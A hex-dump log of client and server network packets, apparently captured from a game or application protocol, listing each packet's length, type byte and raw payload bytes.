+S: Len 11 | 0B 00 / 27 / DB EB 03 10 02 00 00 00 +S: Len 27 | 1B 00 / 6C / F5 AF 00 10 C8 00 00 00 20 03 00 00 9D F4 FE FF 78 F7 03 00 E6 F1 FF FF +S: Len 31 | 1F 00 / 2F / 19 ED 03 10 C0 C7 00 00 30 31 FF FF 08 F5 FF FF B8 C7 00 00 34 31 FF FF F8 F4 FF FF +S: Len 31 | 1F 00 / 2F / 19 ED 03 10 CD C7 00 00 07 31 FF FF F0 F4 FF FF C0 C7 00 00 30 31 FF FF 08 F5 FF FF +S: Len 11 | 0B 00 / 27 / 25 ED 03 10 01 00 00 00 +C: Len 31 | 1F 00 / 0F / 9C CB 00 00 37 2B FF FF 90 F3 FF FF 7D CB 00 00 BF 2B FF FF AA F3 FF FF 01 00 00 00 +S: Len 31 | 1F 00 / 2F / 31 10 03 10 9C CB 00 00 37 2B FF FF 90 F3 FF FF 7D CB 00 00 BF 2B FF FF 90 F3 FF FF +C: Len 23 | 17 00 / 59 / 7E CB 00 00 BB 2B FF FF AA F3 FF FF 43 F7 00 00 00 00 00 00 +S: Len 208 | D0 00 / 0C / 5C EB 03 10 85 96 0F 00 01 00 00 00 D9 D5 00 00 2D 21 FF FF 10 F3 FF FF 33 AC 00 00 00 00 00 00 B6 00 00 00 C8 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 C0 1E F5 50 40 00 00 00 80 14 2E 48 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 39 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 1E F5 50 40 00 00 00 80 14 2E 48 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +C: Len 23 | 17 00 / 59 / 9A CB 00 00 3D 2B FF FF A9 F3 FF FF 22 C9 00 00 00 00 00 00 +S: Len 31 | 1F 00 / 2F / AA EB 03 10 40 D4 00 00 F0 24 FF FF 20 F3 FF FF C0 D4 00 00 C0 24 FF FF F8 F2 FF FF +S: Len 11 | 0B 00 / 27 / A9 EC 03 10 01 00 00 00 +C: Len 20 | 14 00 / 1F / 39 A4 00 10 9A CB 00 00 3D 2B FF FF A9 F3 FF FF 00 +S: Len 27 | 1B 00 / 23 / 31 10 03 10 39 A4 00 10 9C CB 00 00 37 2B FF FF 90 F3 FF FF 00 00 00 00 +S: Len 13 | 0D 00 / B9 / 39 A4 00 10 0C 00 00 00 00 00 +S: Len 23 | 17 00 / 79 / 39 A4 00 10 A6 CA 00 00 F4 29 FF FF A1 F3 FF FF 80 59 00 00 +S: Len 3 | 03 00 / 1F / +S: Len 11 | 0B 00 / 27 / 3A A4 00 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / A2 EB 03 10 01 00 00 00 +S: Len 11 | 0B 00 / 27 / 11 EC 03 10 01 00 00 00 +S: Len 31 | 1F 00 / 2F / A9 EB 03 10 35 D6 00 00 FF 2A FF FF 90 F3 FF FF CB D6 00 00 3B 2B FF FF 80 F3 FF FF +S: Len 31 | 1F 00 / 2F / 4C 36 04 10 50 D1 00 00 05 35 FF FF 10 F4 FF FF 7F D1 00 00 D1 35 FF FF 10 F4 FF FF +S: Len 11 | 0B 00 / 27 / 39 A4 00 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / C7 EB 03 10 02 00 00 00 +S: Len 31 | 1F 00 / 2F / 26 ED 03 10 E9 C6 00 00 48 27 FF FF 78 F5 FF FF BC C5 00 00 F1 27 FF FF F8 F4 FF FF +S: Len 31 | 1F 00 / 2F / AD EB 03 10 B1 D3 00 00 7D 29 FF FF 00 F4 FF FF 32 D4 00 00 58 29 FF FF E0 F3 FF FF +S: Len 11 | 0B 00 / 27 / 5C ED 03 10 02 00 00 00 +S: Len 43 | 2B 00 / 48 / 25 ED 03 10 25 ED 03 10 BC 0F 00 00 03 00 00 00 6C 08 00 00 6E 25 00 00 68 C2 00 00 C9 29 FF FF E0 F5 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / 25 ED 03 10 BC 0F 00 00 03 00 00 00 01 00 00 00 25 ED 03 10 +C: Len 20 | 14 00 / 01 / 39 A4 00 10 9A CB 00 00 3D 2B FF FF A9 F3 FF FF 00 +S: Len 13 | 0D 00 / B9 / 39 A4 00 10 0C 00 00 00 00 00 +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 61 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 83 | 53 00 / 21 / 01 00 02 00 04 00 DB 7A 01 10 41 05 00 00 07 00 00 00 86 08 00 00 05 00 00 00 01 00 00 01 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 11 | 0B 00 / 62 / 29 00 00 00 00 00 00 00 +S: Len 15 | 0F 00 / 6B / 01 00 00 00 64 07 00 00 64 07 00 00 +S: Len 30 | 1E 00 / 33 / 31 10 03 10 39 A4 00 10 6C 07 00 00 10 9C CB 00 00 37 2B FF FF 90 F3 FF FF 00 00 +C: Len 23 | 17 00 / 59 / 9A CB 00 00 3D 2B FF FF A9 F3 FF FF 22 C9 00 00 00 00 00 00 +S: Len 31 | 1F 00 / 2F / 43 EC 03 10 DC D5 00 00 4F 27 FF FF 70 F3 FF FF BE D5 00 00 E8 27 FF FF 80 F3 FF FF +S: Len 11 | 0B 00 / 27 / 30 EC 03 10 02 00 00 00 +C: Len 31 | 1F 00 / 0F / A8 CB 00 00 61 2B FF FF 90 F3 FF FF 9A CB 00 00 3D 2B FF FF A9 F3 FF FF 01 00 00 00 +S: Len 19 | 13 00 / 62 / 23 00 00 00 01 00 00 00 01 00 00 00 6C 07 00 00 +S: Len 7 | 07 00 / 25 / 39 A4 00 10 +S: Len 7 | 07 00 / 25 / 31 10 03 10 +S: Len 83 | 53 00 / 21 / 01 00 02 00 04 00 D0 7A 01 10 BB 05 00 00 13 00 00 00 67 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 11 | 0B 00 / 62 / 56 01 00 00 00 00 00 00 +S: Len 43 | 2B 00 / 48 / 31 10 03 10 31 10 03 10 6A 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 9C CB 00 00 37 2B FF FF 90 F3 FF FF 00 00 00 00 +S: Len 31 | 1F 00 / 2F / 31 10 03 10 A8 CB 00 00 61 2B FF FF 90 F3 FF FF 9C CB 00 00 37 2B FF FF 90 F3 FF FF +S: Len 11 | 0B 00 / 27 / A3 EB 03 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / DB EB 03 10 02 00 00 00 +S: Len 206 | CE 00 / 0C / 25 ED 03 10 73 96 0F 00 01 00 00 00 68 C2 00 00 C9 29 FF FF E0 F5 FF FF CB 93 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 C0 CC CC 37 40 00 00 00 40 33 B3 45 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 35 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 CC CC 37 40 00 00 00 40 33 B3 45 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +C: Len 23 | 17 00 / 59 / A6 CB 00 00 5D 2B FF FF A9 F3 FF FF 51 62 00 00 00 00 00 00 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 B0 CA 00 00 C0 36 FF FF E8 F3 FF FF 2C CB 00 00 EA 36 FF FF E0 F3 FF FF +S: Len 31 | 1F 00 / 2F / AA EB 03 10 0D D4 00 00 EB 24 FF FF 38 F3 FF FF 40 D4 00 00 F0 24 FF FF 20 F3 FF FF +S: Len 35 | 23 00 / 18 / 31 10 03 10 03 00 00 00 09 00 00 00 D9 13 00 00 0B 00 00 00 6B 0B 00 00 21 00 00 00 94 09 00 00 +S: Len 31 | 1F 00 / 2F / DB EB 03 10 CB C1 00 00 9A 28 FF FF C0 F5 FF FF CE C2 00 00 2B 29 FF FF D8 F5 FF FF +S: Len 11 | 0B 00 / 27 / 19 ED 03 10 03 00 00 00 +S: Len 31 | 1F 00 / 2F / 12 EC 03 10 D0 CA 00 00 60 36 FF FF E8 F3 FF FF B0 CA 00 00 C0 36 FF FF E8 F3 FF FF +C: Len 3 | 03 00 / 14 / +S: Len 6087 | C7 17 / 11 / 01 00 50 00 04 00 38 B4 04 10 B3 21 00 00 00 00 00 00 30 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D2 B3 04 10 5F 05 00 00 01 00 00 00 0A 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 AF B3 04 10 D8 15 00 00 02 00 00 00 F5 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 A4 04 10 F1 24 00 00 0F 00 00 00 01 00 00 00 02 00 00 00 01 00 20 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A4 04 10 F0 24 00 00 04 00 00 00 01 00 00 00 02 00 00 00 01 00 08 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E4 A3 04 10 EF 24 00 00 09 00 00 00 01 00 00 00 02 00 00 00 01 00 04 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DB A3 04 10 EF 24 00 00 08 00 00 00 01 00 00 00 02 00 00 00 01 00 02 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 57 20 04 10 D0 24 00 00 0C 00 00 00 01 00 00 00 01 00 00 00 01 00 00 10 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 51 20 04 10 CF 24 00 00 0A 00 00 00 01 00 00 00 01 00 00 00 01 00 00 02 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4E 20 04 10 CE 24 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 40 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4C 20 04 10 CD 24 00 00 0B 00 00 00 01 00 00 00 01 00 00 00 01 00 00 08 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4B 20 04 10 CA 24 00 00 06 00 00 00 01 00 00 00 01 00 00 00 01 00 00 04 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D1 14 04 10 D8 02 00 00 03 00 00 00 73 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D2 ED 03 10 46 11 00 00 04 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 37 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 E4 EB 03 10 02 06 00 00 05 00 00 00 0F 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 57 EA 03 10 25 04 00 00 06 00 00 00 FA 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 FC E9 03 10 B3 05 00 00 07 00 00 00 D0 07 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 EE E9 03 10 B2 05 00 00 08 00 00 00 5C 07 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 DC E9 03 10 6F 0F 00 00 09 00 00 00 7C 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 8C E8 03 10 AC 02 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 01 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 93 2F 03 10 2E 22 00 00 0A 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 89 2E 03 10 24 22 00 00 0B 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 39 10 03 10 D1 31 00 00 0C 00 00 00 07 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 32 10 03 10 39 00 00 00 0D 00 00 00 A7 72 33 70 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0A 0B 03 10 C2 03 00 00 0E 00 00 00 3F 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 02 CB 02 10 C8 18 00 00 0F 00 00 00 14 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 9C B6 01 10 4E 07 00 00 10 00 00 00 DF 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 4C 8B 01 10 B5 15 00 00 11 00 00 00 97 06 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 4B 8B 01 10 B4 15 00 00 12 00 00 00 98 06 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 DB 7A 01 10 41 05 00 00 07 00 00 00 86 08 00 00 05 00 00 00 01 00 00 01 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D0 7A 01 10 BB 05 00 00 13 00 00 00 67 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 B2 6C 01 10 53 08 00 00 14 00 00 00 90 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 9D 3F 01 10 97 21 00 00 15 00 00 00 14 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 9C 3F 01 10 BF 21 00 00 16 00 00 00 62 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 5E 2F 01 10 CA 0F 00 00 17 00 00 00 09 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 E0 2C 01 10 CB 0F 00 00 18 00 00 00 09 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 9F 29 01 10 97 15 00 00 19 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 8C 29 01 10 49 07 00 00 1A 00 00 00 80 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 5A 28 01 10 C8 0F 00 00 1B 00 00 00 24 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 1A 28 01 10 61 07 00 00 1C 00 00 00 48 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 39 26 01 10 98 15 00 00 1D 00 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 B5 24 01 10 93 15 00 00 1E 00 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 97 24 01 10 ED 1E 00 00 1F 00 00 00 03 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 31 24 01 10 7F 15 00 00 20 00 00 00 0B 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 21 24 01 10 7E 15 00 00 21 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D3 23 01 10 4C 07 00 00 22 00 00 00 80 11 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 81 23 01 10 CA 18 00 00 23 00 00 00 13 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 53 23 01 10 C6 18 00 00 24 00 00 00 13 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 52 23 01 10 51 07 00 00 25 00 00 00 F2 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 2D 23 01 10 92 15 00 00 26 00 00 00 07 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 2C 23 01 10 AD 15 00 00 27 00 00 00 6C 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 AF 22 01 10 8B 15 00 00 28 00 00 00 0B 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 70 22 01 10 8A 15 00 00 29 00 00 00 08 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 6F 22 01 10 57 07 00 00 2A 00 00 00 B4 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 60 22 01 10 77 15 00 00 2B 00 00 00 04 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 5F 22 01 10 67 07 00 00 2C 00 00 00 50 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 22 01 10 04 1A 00 00 0E 00 00 00 01 00 00 00 02 00 00 00 01 00 10 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 F3 1F 01 10 23 02 00 00 2D 00 00 00 01 00 00 00 01 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ED 1F 01 10 94 16 00 00 2E 00 00 00 01 00 00 00 01 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 EC 1F 01 10 88 16 00 00 2F 00 00 00 01 00 00 00 01 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E4 1F 01 10 C0 19 00 00 30 00 00 00 01 00 00 00 00 00 00 00 00 00 80 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 D6 1F 01 10 4E 09 00 00 31 00 00 00 01 00 00 00 01 00 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 8A 1F 01 10 C9 0F 00 00 32 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 F7 19 01 10 66 07 00 00 33 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 EC 17 01 10 1B 22 00 00 34 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 58 15 01 10 CC 0F 00 00 35 00 00 00 37 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 E8 12 01 10 53 07 00 00 36 00 00 00 49 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 